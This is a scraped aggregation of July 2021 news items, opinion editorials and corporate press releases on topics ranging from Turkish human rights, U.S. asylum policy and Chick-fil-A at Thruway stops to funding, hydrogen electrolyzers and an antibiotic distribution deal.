The European Union, Human Rights Watch, Amnesty International and other groups have condemned Turkeys human rights abuses. They criticized how the Erdogan regime used the coronavirus pandemic as a pretext to ban peaceful protests and purge those who criticize Erdogans policies on social media  while silencing independent media outlets.

Unfortunately, Turkey continues to move away from democratic rule under Erdogan, said Veysel Ucan, former director of the Turkish Cultural Center of Albany. He now runs the Turkish Cultural Center in Queens, where he lives with his wife, Ozgul, and their two children. The family led a cultural tour of Istanbul and other cities in Turkey in 2015 that my daughter and I joined. It was the final trip Ucan led for local legislators and others because the political situation became too volatile.

Ucan said that the Erdogan regime has extended its crackdown against critics and continues its assault on human rights. The country is suffering a severe economic downturn, which has diminished Erdogans support.

It is terribly sad that Turkey went from a shining example of democracy to one of the worst offenders on human rights, Ucan said.

His words hung heavily in the air. Even the sweetness of homemade baklava made of honey and pistachios, a Turkish variation, could not remove the bitter taste.

Paul Grondahl is director of the New York State Writers Institute at the University at Albany and a former Times Union reporter. He can be reached at grondahlpaul@gmail.com
FORT WORTH, Texas (AP)  The U.S. Centers for Disease Control and Prevention will issue an order this week about how migrant children are treated under a public health order that has prevented people from seeking asylum at the nation's borders, a Justice Department attorney said Tuesday.

The comment by Assistant U.S. Attorney Brian Stoltz at a court hearing in Fort Worth, Texas, comes as the Biden administration faces pressure from pro-immigration allies to lift the last major Trump-era restrictions on asylum at the border.

Stoltz told a federal judge that the CDC will release a new order on the subject of the children by the end of the week. It will revise a Biden administration policy announced in February that exempts children crossing alone from the ban on asylum.

Stoltz did not offer additional details on the changes during a hearing on a lawsuit that Texas brought to compel enforcement of the public health order that former President Donald Trump's administration used to quickly expel people from the country during the coronavirus pandemic.

The government attorney said the CDC order this week will largely render Texas' arguments moot. He did not elaborate, and CDC spokesman Tom Skinner said the agency had nothing more to add right now.

The CDC, in a three-paragraph order signed by its director, Dr. Rochelle Walensky, on Feb. 11, exempted unaccompanied children from being expelled to Mexico until a forthcoming public health reassessment, which has yet to be published. Texas argues in its lawsuit that the administration's justification was insufficient.

Higher COVID-19 vaccination rates have brought increasing pressure on the Biden administration to lift the public health order that was always intended as a temporary measure during the pandemic. While the administration has exempted unaccompanied children, some families and nearly all adults traveling alone are expelled from the United States  often to Mexico within two hours  without a chance to seek asylum.

The Associated Press reported last year that then-Vice President Mike Pence directed the CDC to use emergency powers to effectively seal America's borders, overruling agency scientists who said there was no evidence the action would slow COVID-19.

Lifting the ban could encourage more people to come to the border to seek asylum at a time when the U.S. is under mounting strain. The U.N. refugee agency reported last month that the U.S. was once again the top destination for asylum-seekers in 2020, with about 250,000 new claims filed, more than twice as high as second-place Germany.

Texas, which has the busiest corridor for illegal border crossings, is seeking a court order forcing the federal government to cease what state Deputy Attorney General Aaron Reitz called de facto non-enforcement" of the asylum ban. Reitz argued that the Biden administrations posture threatens the health and safety of all Texans.

U.S. District Judge Mark Pittman, a Trump appointee, questioned Stoltz about the timing of the new order and asked that the government inform him as soon as it is issued. Pittman did not rule on the request for an injunction but said he will put out a decision as quickly as I can.

___

Spagat reported from San Diego.
MILWAUKEE (AP)  Federal authorities on Tuesday arrested a Wisconsin man and four members of his family in Texas on charges stemming from the Jan. 6 Capitol attack.

Joshua Munn, 24, was arrested in Melrose in western Wisconsin, about 170 miles (275 kilometers) northwest of Milwaukee. He was released after an initial federal court appearance in Madison, Wisconsin. The telephone listed for Munn was disconnected and he could not be reached for comment.
THE STAKES: Governments cant use political speech and contributions as a basis for their decisions.

THE ISSUE: Some lawmakers want to ban Chick-fil-A restaurants from Thruway service stops.

----

Rest stops along the Thruway will soon change their food offerings, with Shake Shack, Panera Bread, Panda Express and Chick-fil-A among the restaurants joining the mix.

So far, Chick-fil-A is the only one proving to be controversial.

As the Times Unions Edward McKinley reports, some members of the Assembly are demanding the Thruway Authority not allow the fast-growing, Georgia-based chain because of its history of opposing the rights of LGBTQ+ individuals.

The lawmakers, all Democrats, point mostly to charitable donations made by Chick-fil-A to groups that oppose same-sex marriage and other lesbian, gay, bisexual and transgender rights, along with 2012 comments made by company president Dan T. Cathy supporting the biblical definition of the family unit.

Chick-fil-A mostly stopped giving to groups opposed to rights based on sexual orientation nearly a decade ago but continued through 2018 to give to the Salvation Army and the Fellowship of Christian Athletes, two groups considered by some to have anti-gay views or policies.

We have long supported LGBTQ rights and will continue to. But the lawmakers are wrong to suggest that Chick-fil-A be essentially canceled, at least from public property in New York, for its political views and contributions. Chick-fil-A has a First Amendment right to express its views and donate to organizations without government punishment. And choosing or excluding state vendors based on political views and contributions sets a dangerous precedent.

What if future governors decide to forbid restaurants that give to their political opponents? What if Republicans demand the Thruway exclude chains that have donated to liberal causes? Who decides which opinions are acceptable and which are not?

If the Thruway Authority were to accede to the lawmakers demands, it would be inviting chaos  and lawsuits.

Consider that in 2018, the U.S. Court of Appeals ruled against Gov. Andrew Cuomos administration for banning the Wandering Dago food truck from state property because of the epithet in its name. The court called the states action unconstitutional viewpoint discrimination.

That decision comes with a corollary: Permitting a business to operate on state property does not mean the government endorses its views. Neutrality is the objective.

It is, of course, against state law to discriminate based on sexual orientation, and Chick-fil-A, like all other restaurants, must abide by state nondiscrimination laws. Yet the company nevertheless has the First Amendment right to argue against those laws, if it so chooses.

Chick-fil-A, well note, insists it does not have a political or social agenda and says it now devotes its charitable giving to organizations focused on issues related to education, homelessness and hunger.

Many New Yorkers may not be convinced by the apparent change of heart. But those who oppose Chick-fil-A have a choice: They can eat somewhere else.
The following is from a South Florida Sun-Sentinel editorial:

Throughout the political landscape, our elected officials have called for support for the people of Cuba as they protest the tyrannical regime that denies them basic human rights, a communist rump state left over from the 20th-century Cold War.

We stand with the Cuban people and their clarion call for freedom and relief from the tragic grip of the pandemic and from the decades of repression and economic suffering to which they have been subjected by Cubas authoritarian regime, President Joe Biden said in a statement.

On Twitter, U.S. Sen. Marco Rubio mocked that statement because it did not include the words communism or socialism. He also wrote, I am asking @POTUS and @SecBlinken to call on members of the Cuban military to not fire on their own people The incompetent communist party of #Cuba cannot feed or protect the people from the virus. Now those in the military must defend the people not the communist party.

On that, we agree with Rubio. Change will come to Cuba because institutional players, especially the military, stand with the people.

In South Florida, elected officials and refugees from the bloody Castro regime have called for overt action on the part of the Biden administration.

These calls for direct intervention are a severe error. We have toppled foreign dictators before, and the results were the longest wars in our nations history. Iraq and Afghanistan should have taught us a powerful lesson, but some do not seem to want to learn.

Further, as many of the same people demanding intervention ought to know, the presence of American soldiers on Cuban soil would be exactly the sort of propaganda win the regime would love  no longer would this be the righteous demands of Cuban people for freedom and self-determination, but instead another yanqui plot.

The people of Cuba will determine their own destiny. We support human rights and democracy  not just in Cuba, but the world over. But we also know the results when we try to export democracy at the point of a gun.
April 23, 1969 - June 15, 2021. Join us in celebrating Robin's life. Memorial will be July 24 at 1PM at the Cross of Christ Community Church (Monongah) with a dinner following at the Monongah Town Hall.
Gov. Jim Justice holds a Do It For BabyDog backpack in one hand and a college scholarship award in the other during his daily COVID-19 briefing Tuesday in Charleston.
With the Pleasantville, Oil Heritage and Titusville Oil Festivals coming up, are you planning on attending any?

You voted:
Political leaders in St. Louis and St. Louis County have stepped up their efforts to get people vaccinated amid growing concern that the delta variant of COVID-19 ravaging some rural areas of Missouri is making its way to the states most populated region
LitLingo Offers AI-Driven Language Analysis for Business Communications

Its a regular occurrence: a company with a carefully crafted customer-facing policy slips up with one bad email that miscommunicates, offends and even puts the company in legal jeopardy. The damage is done, and the company is put in the unenviable position of having to apologize and try to mitigate the fallout. But companies themselves arent the ones who go off message: employees do.

Heres where artificial intelligence (AI) can play an interesting role: ensuring all employee communications meet a companys standards. Thats just what a company called LitLingo attempts to ensure with its technology.

The cost of acquiring new customers is so much higher than retaining existing customers, LitLingo cofounder and CEO Kevin Brinig told Austin Inno last year. So if you can use AI to make sure that the communication to a customer matches the sentiment of the inbound email or addresses every single one of the problems that was brought up in an inbound email. Those kinds of subtleties are super important and super valuable.

Last week, the Austin, Texas-based company announced it has completed a $7.5 million Series A funding round. The investment is led by Breyer Capital, joined by former IBM CEO Sam Palmisano, with participation from existing investors, including LiveOak Venture Partners, Clarke Nobiletti, and James Marsico. To date, LitLingo has raised $9.5 million, including $2 million last August.

LitLingo enables businesses to enhance communications, strengthen culture, and mitigate risk by providing real-time language analysis within platforms such as Gmail, Slack, Zendesk, and Microsoft Office 365. The platform was purpose-built to foster open, productive organizations in which everyone has a stake in their companys success, according to the company.

LitLingo is reimagining how we build culture and mitigate risk, said Sam Palmisano, Chairman of the Center for Global Enterprise and former CEO and Chairman of IBM. We have all seen the impact a few badly written emails can have on an organization. Yet, traditional approaches to compliance and risk mitigation are outdated, reactive, expensive, and hard to scale across large enterprises. LitLingo is a unique platform providing critical value to employees and organizations of all sizes.

LitLingo said it plans to use the capital to double the company headcount over the next twelve months at their Austin headquarters and remotely.

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Edited by Luke Bellos
[July 14, 2021] Advisor Klaudia Conradt Joins Commonwealth-Affiliated Conestoga Wealth Partners

Commonwealth Financial Network, a national firm dedicated to providing advisor-focused business solutions, announces the addition of Klaudia Conradt to its network of independent financial advisors. Formerly with UBS, Conradt joins Conestoga Wealth Partners, a Commonwealth-affiliated firm in Gig Harbor, Washington. With more than 25 years of experience in the financial services industry and wealth management, Conradt adds $132 million in assets under management to the firm. With Conestoga Wealth Partners, Conradt will continue to serve area business owners and retired professionals with legacy planning and charitable giving, as well as holistic financial planning through bespoke portfolio management. She prides herself on having a strong cross-functional network, with almost all new client acquisitions coming from referrals. When considering her move to independence, Conradt sought a firm and firm partner that would be adaptable enough to let her work with whomever she chose while sharing her values of community and innovation. To learn more about the Pacific Northwest firm, visit www.conestogawealth.com. "The flexibility of the independent business model will serve my clients and my business very well, and choosing independence at a firm with Commonwealth's reputation among my peers was important to me," says Conradt. "Not onl am I able to offer unlimited solutions to the clients I want to work with, I also have more control over my schedule and how I run my practice. I'm looking forward to a better work-life balance."



Conradt, who specializes in building custom models for her clients, can count on Commonwealth's well-researched and vetted technology choices, as well as access to a suite of software solutions. "Having a wide range of financial planning software options that are both comprehensive and easy to use is important to how I work with my clients. I'm thrilled to finally be able to customize my technology stack." says Conradt. To grow her practice, Conradt will leverage Commonwealth's partnership-driven Compliance team to launch contemporary marketing tactics like newsletters and podcasts. "We're thrilled to welcome Klaudia to our community of independent financial advisors and to an established independence success story at Conestoga Wealth Partners," said Andrew Daniels, Commonwealth's managing principal, business development. "Breaking away from a household name to build your business your way is a bold move-one that we honor with our commitment to do whatever it takes to help them seamlessly launch their new venture."

Daniels added, "Commonwealth's open technology architecture and common-sense approach to compliance will support Klaudia as she pursues new and innovative ways to serve her clients and market her business." About Commonwealth Financial Network Commonwealth Financial Network, Member FINRA/SIPC, a Registered Investment Adviser, provides a suite of business solutions that empowers more than 2,000 independent financial advisors nationwide. J.D. Power ranks Commonwealth "#1 in Independent Advisor Satisfaction Among Financial Investment Firms, Eight Times in a Row." Privately held since 1979, the firm has headquarters in Waltham, Massachusetts, and San Diego, California. Learn more about Commonwealth by visiting www.commonwealth.com. Commonwealth received the highest score in the independent advisor segment of the J.D. Power 2010, 2012, 2013, 2014, 2018, 2019, 2020, and 2021 Financial Advisor Satisfaction Studies of customers' satisfaction among financial advisors. Visit jdpower.com/awards. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005117/en/

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[July 14, 2021] ALYI Expects Its EV Brand Recognition To Explode Later This Year Followed By Substantial Revenue Ramp Up Next Year

Dallas, Texas, July 14, 2021 (GLOBE NEWSWIRE) -- Alternet Systems, Inc. (OTC Pink: ALYI) (ALYI) today announced that management anticipates the ALYI brand name recognition to explode later this year as its electric vehicle (EV) race program and corresponding partnerships come to light when the company announces the full extent of its EV race event scheduled to debut next year. ALYI management also anticipates a substantial revenue ramp up next year with sales coming from the EV race event in addition to the sales ALYI anticipates from its electric motorcycles currently being piloted in conjunction with a 2,000 unit order. ALYI is building a comprehensive EV ecosystem solution designed to advance entire EV sector with perpetual contribution to EV technology advanced by the ongoing participation of EV industry leaders. ALYI is targeting the participation of brand name EV industry leaders in an annual EV symposium and conferenced anchored by an EV race event in Kenya. The objective of the EV symposium and conference is to advance EV technology by building EV solutions for the African market  a power constrained, rugged environment with one of the lowest per capita transportation deployments in the world. EV solutions for the African market will be applicable the world around. EV solutions designed and built in Africa also contribute to building an autonomous African economy. ALYI has seeded its EV ecosystem solution with the development of its own EV motorcycle business. ALYI has recently initiated an Electric Motorcycle pilot program in Kenya which is already generating results expected to set ALYIs EV business apart from the competition. ALYI has published an overview of thepilot program highlighting the pilot objectives. As the pilot ramps up this month, ALYI management plans to begin sharing featured moments of the pilot program in progress to include pictures and videos. The pilot is expected to go on for approximately ninety days.



The pilot is being conducted in conjunction with a 2,000 electric motorcycle order, the fulfillment of which is being finalized with results from the pilot. ALYI has designed its EV ecosystem solution to include democratized participation. ALYI has partnered with ReovltTOKEN to finance ALYIs growth by offering participation in the EV ecosystem through the sale of Revolt Tokens.

To learn more about RevoltTOKEN and how to participate in ALYIs electric vehicle ecosystem through the purchase of Revolt Tokens, visit www.revolttoken.com . For more information and to stay up to date on ALYI's overall latest developments, please visit www.alternetsystemsinc.com .



Disclaimer/Safe Harbor: This news release contains forward-looking statements within the meaning of the Securities Litigation Reform Act. The statements reflect the Company's current views with respect to future events that involve risks and uncertainties. Among others, these risks include the expectation that any of the companies mentioned herein will achieve significant sales, the failure to meet schedule or performance requirements of the companies' contracts, the companies' liquidity position, the companies' ability to obtain new contracts, the emergence of competitors with greater financial resources and the impact of competitive pricing. In the light of these uncertainties, the forward-looking events referred to in this release might not occur.



For more information, please visit: http://www.alternetsystemsinc.com

Alternet Systems, Inc. Contact:

Randell Torno

info@lithiumip.com

+1-800-713-0297



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[July 14, 2021] Artwork Archive Announces Artist Grant Winners

DENVER, July 14, 2021 /PRNewswire/ -- Artwork Archive, the industry-leading art inventory management tool used by artists, collectors, and organizations, has announced the ten winners of its Art Business Accelerator Grant. Each winner will be awarded an unrestricted cash prize of $2,500, a free lifetime subscription to Artwork Archive, and access to mentorship and resources designed to empower each artist as they continue to grow their careers and drive positive change throughout their local communities and society at large. The Grant:

Intended to recognize and reward "citizen artists"  artists whose work directly impacts their communities  the Artwork Archive Art Business Accelerator Grant received over 3,300 applications from artists based in over 100 countries. The ten winners were selected by a distinguished jury consisting of five renowned artists: Josely Carvalho, Thomas Evans, David Kassan, Charly Palmer, and Joan Snyder. The grant was further supported by RedLine, Colorado's premier non-profit arts center. Justin Anthony, co-founder of Artwork Archive, said, "This past year was incredibly difficult for the entire creative economy  but especially for artists. Artists are an integral part of society's cultural fabric and their contributions are invaluable. This grant is just one way Artwork Archive is giving back to the artists who enrich our lives every day." All Art Business Accelerator Grant applicants will also receive six weeks of career-building resources to increase their business skills, economic proficiency, mareting knowledge, and more.



The Winners: Monia Ben Hamouda (Based in Milan, Italy ) Monia's work ranges from paintings to sculptural installations that incorporate the cultural and religious symbols of her Muslim family, speaking to ancestral rituals, and notions of both stasis and transformation.

Jasmine Best (Based in Greensboro, North Carolina , USA) Jasmine's mixed-media work gathers narratives  culled from her personal memories of her Carolinian family and childhood  to create dialogues around the Black female identity in the south and in predominantly white spaces Samar Hejazi (Based in Toronto, Canada ) Sarmar creates delicately embroidered textile pieces that channel her Palestinian heritage, while combining craft and conceptual art. Lynnea Holland-Weiss (Based in Cleveland, Ohio , USA) Lynnea's large-scale paintings depict physical  and emotional  connection. Her work deals with the process of healing and the various human responses to trauma that were upended during the pandemic. Anna Mlasowsky (Based in Seattle, Washington , USA) Born in East Germany, "a country that no longer exists," Anna's art exposes states of fluid transformation through her use of glass  a material both ancient and modern, which exists across a spectrum of physical states. Tahmina Negmat (Based in London, UK ) Tahima's art deals with the immigrant's experience, and draws from her own embodied experience, collected materials, and stories taken from her childhood in Uzbekistan, adolescence in Russia, and adulthood in the UK. Ramekon O'Arwisters (Based in San Francisco, California , USA) Ramekon began quilting with his grandmother while growing up in the Jim Crow south during the Civil Rights Movement. Speaking to his personal experiences as Black and queer, Ramekon's sculptural art also channels universal themes such as desire and destruction. Amy Ritter (Based in Brooklyn, New York , USA) Amy's work as a queer female artist is an exploration of her relationship to her physical self vis-a-vis mobile homes and their interior landscapes. Drawing from her own experiences, Amy's ongoing work on this subject manifests in immersive installations and site-specific public sculptures. Carlie Trosclair (Based in Gretna, Louisiana , USA) Born in New Orleans, where the urban landscape was devastated by Hurricane Katrina, Carlie's site-responsive installations utilize latex, resin and other skin-like materials to create new narratives around architecture and a building's lifespan. Victoria-Idongesit Udondian (Based in Williamsville, New York , USA) Born in Nigeria, Victoria-Idongesit's work questions notions of cultural identity and post-colonial positions. Her art is driven by her interest in textiles and the potential for clothing to shape identity, informed by the histories and tacit meanings embedded in everyday materials. About Artwork Archive:

Artwork Archive believes that all artists are entrepreneurs. Based in Denver, Colorado, Artwork Archive has been the preferred cloud-based art inventory system for artists, collectors and organizations for more than a decade. To learn more, visit: www.artworkarchive.com. Media contact:

Emilie Trice, 314368@email4pr.com, (720) 900-5506 View original content to download multimedia:https://www.prnewswire.com/news-releases/artwork-archive-announces-artist-grant-winners-301333396.html SOURCE Artwork Archive

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[July 14, 2021] Basilea announces distribution agreement with JSC Lancet for antibiotic Zevtera (ceftobiprole) covering Russia and the Eurasian Economic Union

Ad hoc announcement pursuant to Art. 53 LR Basel, Switzerland, July 14, 2021 Basilea Pharmaceutica Ltd. (SIX: BSLN) announced today that it has entered into an agreement with Moscow-based pharmaceutical company JSC Lancet for the distribution of Basileas antibiotic Zevtera (ceftobiprole medocaril) in Russia, as well as in the other countries of the Eurasian Economic Union. Under the terms of the agreement, JSC Lancet is granted the exclusive right to register, distribute and commercialize Zevtera in the license territory, whilst Basilea will supply JSC Lancet with product at a transfer price. In addition, Basilea will receive an upfront payment and be eligible for sales milestone payments. Regulatory filings by JSC Lancet will be based on the European regulatory dossier that led to approvals of Zevtera for the treatment of adult patients with hospital-acquired bacterial pneumonia (HABP), excluding ventilator-associated bacterial pneumonia (VABP), and for the treatment of community-acquired bacterial pneumonia (CABP). Zevtera is currently approved in 29 countries and marketed in 19. David Veitch, Chief Executive Officer, stated: "We are pleased to extend our commercial partnerships for Zevtera to Russia and other Eurasian countries. JSC Lancet is a leading hospital products company and one of the fastest growing pharmaceutical companies in Russia. We look forward to JSC Lancet making Zevtera available to physicians and patients, who are in need of new treatment options for severe bacterial infections. About Zevtera (ceftobiprole medocaril) Ceftobiprole medocaril, the prodrug of the active moiety ceftobiprole, is a cephalosporin antibiotic for intravenous administration, with rapid bactericidal activity against a wide range of Gram-positive and Gram-negative bacteria. This includes methicillin-susceptible and resistant Staphylococcus aureus (MSSA, MRSA) and susceptible Pseudomonas spp.1 The brand is currently approved and marketed as Zevtera and Mabelio in a number of countries in Europe and beyond. Basilea has entered into license and distribution agreements for the brand in Europe, Eurasian countries, Latin America, China, Canada, Israel, and the Middle East and North Africa (MENA) regions. About Basilea Basile is a commercial-stage biopharmaceutical company founded in 2000 and headquartered in Switzerland. We are committed to discovering, developing and commercializing innovative drugs to meet the medical needs of patients with cancer and infectious diseases. We have successfully launched two hospital brands, Cresemba for the treatment of invasive fungal infections and Zevtera for the treatment of severe bacterial infections. We are conducting clinical studies with two targeted drug candidates for the treatment of a range of cancers and have a number of preclinical assets in both cancer and infectious diseases in our portfolio. Basilea is listed on the SIX Swiss Exchange (SIX: BSLN). Please visit basilea.com.



About JSC Lancet JSC Lancet is one of the leaders of the hospital market in Russia. The company develops its business in strategic partnerships with leading manufacturers of innovative medical products. One of its key success factors is to provide comprehensive healthcare solutions, ranging from diagnostics and hospital-based treatments, to ensuring the availability of high-end medical products throughout the Eurasian Economic Union. http://lancetpharm.ru/en/

Disclaimer This communication expressly or implicitly contains certain forward-looking statements, such as "believe", "assume", "expect", "forecast", "project", "may", "could", "might", "will" or similar expressions concerning Basilea Pharmaceutica Ltd. and its business, including with respect to the progress, timing and completion of research, development and clinical studies for product candidates. Such statements involve certain known and unknown risks, uncertainties and other factors, which could cause the actual results, financial condition, performance or achievements of Basilea Pharmaceutica Ltd. to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements. Basilea Pharmaceutica Ltd. is providing this communication as of this date and does not undertake to update any forward-looking statements contained herein as a result of new information, future events or otherwise. For further information, please contact: Peer Nils Schroder, PhD



Head of Corporate Communications & Investor Relations Phone +41 61 606 1102 E-mail media_relations@basilea.com

investor_relations@basilea.com This ad hoc announcement can be downloaded from www.basilea.com. References Summary of Product Characteristics (SmPC) Zevtera: https://www.medicines.org.uk/emc/product/9164/smpc

[Accessed: July 13, 2021] Attachment Press release (PDF)



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[July 14, 2021] Benefit Street Partners to Open West Palm Beach, Florida Office

Benefit Street Partners L.L.C. ("BSP"), a subsidiary of Franklin Templeton and a leading credit-focused alternative asset management firm with over $32 billion in assets under management, today announced it will be opening an office in West Palm Beach, Florida. Anticipated to open in January 2022, the office will be located at 360 Rosemary Square, in the heart of downtown West Palm Beach. Tom Gahan, CEO of BSP and Head of Alternatives for Franklin Templeton, who will be based in the new office, noted, "We are very excited about the continued growth of our platform and geographical reach. With the opening of our West Palm Beach office, BSP will have six offices across the U.S. We believe the Southeast in general-and Southern Florida in particular-will be an increasingly important geography for our overall business." About Benefit Street Partners Benefit Street Partners L.L.C. ("BSP") is a leading credit-focused alternative asset management firm with over $32 billion in assets under management as of June 30, 2021. BSP manages assets across a broad range of complementary credit strategies including private/opportunistic debt, structured credit, high yield, special situations, and commercial real estate. Based in New York, the BSP platform was established in 2008. BSP is a wholly owned subsidiary of Franklin Resources, Inc. For further information, please visit www.benefitstreetpartners.com.



About Franklin Templeton Franklin Resources, Inc. [NYSE:BEN], is a global investment management organization with subsidiaries operating as Franklin Templeton and serving clients in over 165 countries. Franklin Templeton's mission is to help clients achieve better outcomes through investment management expertise, wealth management and technology solutions. Through its specialist investment managers, the company brings extensive capabilities in equity, fixed income, multi-asset solutions and alternatives. With offices in more than 30 countries and approximately 1,300 investment professionals, the California-based company has over 70 years of investment experience and approximately $1.5 trillion in assets under management as of June 30, 2021. For more information, please visit franklinresources.com.

View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005533/en/

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[July 14, 2021] Bevy Acquires Eventtus, Adding Key Innovations for Virtual, Hybrid, and In-person Enterprise Events

Bevy, the only enterprise community event engine, today announced the acquisition of Eventtus. The acquisition adds more than 20 engineers to the Bevy team, including Egyptian founders Mai Medhat and Nihal Fares. It also extends Bevy's event technology stack with the addition of a mobile in-person conference app, and several other engagement tools for attendees. Once integrated with Bevy's enterprise community event engine, customers will have the most comprehensive, end-to-end event management solution to manage and scale their virtual, hybrid, and in-person event programs. "Enterprises have invested in creating connected communities for their customers, employees and partners. Events are not only an extension of these communities but also provide an important channel for driving ongoing engagement," said Derek Andersen, CEO and co-founder of Bevy. "With this acquisition, we can now further advance our leadership role in enterprise events by delivering an end-to-end white labeled event system of record that helps enterprise leaders build even stronger and more engaged ommunities."



Founded in 2012 by Mai Medhat, CEO, and Nihal Fares, chief product officer, Eventtus is an event management software company based in Cairo, Egypt. The Eventtus mobile app helps marketing leaders seamlessly connect the worlds of virtual and in-person events, and provides enterprises with the flexibility they need to return to in-person events, continue taking advantage of lower cost virtual events, or embrace a hybrid model. "What's unique about Bevy is how they thread events together. They've built a powerful community event engine that helps enterprise teams create a sense of community among their customers, prospects, partners and employees," said Medhat. "This is what all other event platforms are missing. And it's the key to unlocking global scale and growth."

By threading community through events, attendees end up with a better experience, and businesses end up with actionable data. As customer data and privacy policies continue to change, successful marketers are shifting away from cookie based behavioural tracking and instead building communities of customers and advocates using Bevy's Community Event Engine. About Bevy Founded in 2017, Bevy is the only end-to-end enterprise community event platform in the world. Purpose-built for marketing executives, community professionals and event organizers who are responsible for building communities of customers, developers and employees at large and mid-sized enterprise technology companies. Bevy can connect virtual, hybrid and in-person events across the entire enterprise event tech stack in order to give enterprise teams a full 360 view of their customers, prospects and employees and scale business results across the entire organization. Bevy was purpose-built by the team behind Startup Grind to help companies build, grow, and scale their global customer, prospect, and employee communities. With chapters in more than 500 cities and 125 countries worldwide, Startup Grind is the most connected community of startups and entrepreneurs in the world; it remains one of Bevy's many customers and its largest stakeholder. In 2019, Bevy acquired CMX, the world's largest organization of community professionals. The Bevy Virtual Community and the Bevy Virtual Conference platform address the needs of both community and event marketing professionals. For additional information, visit bevy.com. About Eventtus Founded in 2012, Eventtus is an event management software company based in Cairo, Egypt. Its mobile application enables event marketers and producers to host or experience virtual, hybrid and in-person events. The app includes virtual networking, virtual booths, interactive tools for live streaming sessions, real-time analytics, and an integrated ticketing and registration system. For more information visit eventtus.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005362/en/

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[July 14, 2021] Bloom Energy Unveils Electrolyzer to Supercharge the Path to Low-Cost, Net-Zero Hydrogen

Bloom Energy (NYSE: BE) today unveiled the Bloom Electrolyzer; the most energy-efficient electrolyzer to produce clean hydrogen to date and 15 to 45 percent more efficient than any other product on the market today. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20210714005584/en/ Bloom Electrolyzer (Photo: Business Wire) The Bloom Electrolyzer relies on the same, commercially proven and proprietary solid oxide technology platform used by Bloom Energy Servers to provide on-site electricity at high fuel efficiency. Highly flexible, it offers unique advantages for deployment across a broad variety of hydrogen applications, using multiple energy sources including intermittent renewable energy and excess heat. Superior Value at High Temperatures Low-cost electrolysis has been difficult to achieve due to electricity costs, which can account for nearly 80 percent of the cost of hydrogen production through electrolysis. An opportunity has emerged, as renewable energy costs have declined precipitously over the last decade. Any reduction in electricity requirements makes hydrogen production more economical and scalable. Because it operates at high temperatures, the Bloom Electrolyzer requires less energy to break up water molecules and produce hydrogen. As a result, Bloom Energy's electrolyzer consumes 15 percent less electricity than other electrolyzer technologies to make hydrogen when electricity is the sole input source. Unlike low-temperature PEM and alkaline electrolyzers that predominantly require electricity to make hydrogen, the Bloom Electrolyzer can leverage both electricity and heat to produce hydrogen. Bloom Energy's high-temperature electrolyzer technology has the potential to use up to 45 percent less electricity when integrated with external heat sources than low-temperature PEM and alkaline electrolyzers. "The launch of the Bloom Electrolyzer is a big leap forward in our mission to enable and empower the global hydrogen economy and a decarbonized society," said KR Sridhar, founder, chairman, and CEO, Bloom Energy. "Hydrogen enables us to leverage abundant and inexpensive renewable energy to provide zero-carbon power, reliably-instead of intermittently. Given its efficiency and input options to make hydrogen, Bloom Energy's electrolyzer is expected to produce hydrogen at a lower price than any altrnative on the market today."



Decarbonizing Heavy Industries High-temperature electrolysis unlocks substantial value with heat-intensive processing applications in hard-to-decarbonize heavy industries, like steel, chemical, cement, and glass manufacturing. By utilizing excess heat from these processes, hydrogen can be produced at a higher electrical efficiency. Further, the hydrogen required to power high-temperature furnaces at these factories can be produced on-site using Bloom Energy electrolyzers, eliminating transportation and distribution costs.

Optimizing Intermittent Renewables When the Bloom Electrolyzer is paired with intermittent renewable resources, such as wind and solar, the resulting green hydrogen provides an important storage mechanism. Hydrogen can be stored for long periods of time and transported over long distances. Alternatively, Bloom Energy's fuel cells can convert this hydrogen to electricity, thereby providing continuous, reliable power. Gigawatt Production and Scale Bloom Energy began manufacturing in the U.S. in 2001 and now supports more than 1,500 American clean energy jobs. Bloom Energy's Sunnyvale, California and Newark, Delaware manufacturing facilities are capable of producing 500 megawatts of electrolyzers today and a gigawatt within a year. Since the Bloom Electrolyzer utilizes the same solid oxide platform as the company's core fuel cell product, utilizing many of the same components, Bloom Energy can scale and leverage supply chain synergies. Enabling and Empowering the Global Hydrogen Economy Bloom Energy's technology dates to the 1980s, when the co-founders first developed electrolyzers to support the military and later NASA's Mars exploration programs. In the early 2000s, 19 patents were awarded to Bloom Energy for its electrolyzer technology. With reduced renewable energy costs and the global movement to decarbonize, Bloom Energy believes this is the right moment to commercialize its hydrogen technology. Collaborating with industry-leading organizations, Bloom Energy celebrated several milestones over the past year: First announced electrolyzer pilot: In November 2020, Bloom Energy announced it will supply its electrolyzers to an industrial complex in Changwon, Korea in collaboration with its Korean partner, SK EcoPlant. Supporting the Changwon RE100 initiative to create renewable ecosystems, the new project paves the way for South Korea to reach carbon neutrality by 2050. The units will ship to Changwon in mid-2022. Harnessing excess nuclear energy: In May 2021, Bloom Energy announced its collaboration with the U.S. Department of Energy's Idaho National Laboratory (INL) to test the use of nuclear energy to create clean hydrogen through the Bloom Electrolyzer. Rather than ramping down power generation when an electric grid has surplus energy, the Bloom Electrolyzer can use the excess electricity and steam generated by nuclear plants to produce low-cost, zero-carbon hydrogen, providing clean energy for use when it's needed while simultaneously offering nuclear power plants a source of revenue for their excess power. The units are undergoing testing in Bloom Energy's laboratories and are expected to ship to INL in Q3. Integrating hydrogen solutions: In May 2021, Bloom Energy announced a collaboration with energy technology company Baker Hughes (News - Alert) to explore commercialization and deployment collaborations in many areas, including integrated hydrogen solutions, to advance the energy transition. The companies will look to pair the Bloom Electrolyzer with Baker Hughes' compression technology for efficient production, compression, transport, and storage of hydrogen. They will also assess excess heat utilization for steam generation to further increase efficiency and cost effectiveness of hydrogen production and target applications like blending hydrogen into natural gas networks alongside on-site hydrogen production for industrial use. Orders are being accepted for the Bloom Electrolyzer, with commercial shipments expected to begin in fall 2022. For more information about the Bloom Electrolyzer and the company's commitment to a zero-carbon future, visit: www.bloomenergy.com/bloomelectrolyzer. About Bloom Energy Bloom Energy's mission is to make clean, reliable energy affordable for everyone in the world. Bloom Energy's product, the Bloom Energy Server, delivers highly reliable and resilient, always-on electric power that is clean, cost-effective, and ideal for microgrid applications. Bloom Energy's customers include many Fortune 100 companies and leaders in manufacturing, data centers, healthcare, retail, higher education, utilities, and other industries. For more information, visit www.bloomenergy.com. Cautionary Note Regarding Forward-Looking Statements This press release contains forward-looking statements within the meaning of the federal securities laws that involve risks and uncertainties. Words such as "anticipates," "could," "expects," "intends," "plans," "projects," "believes," 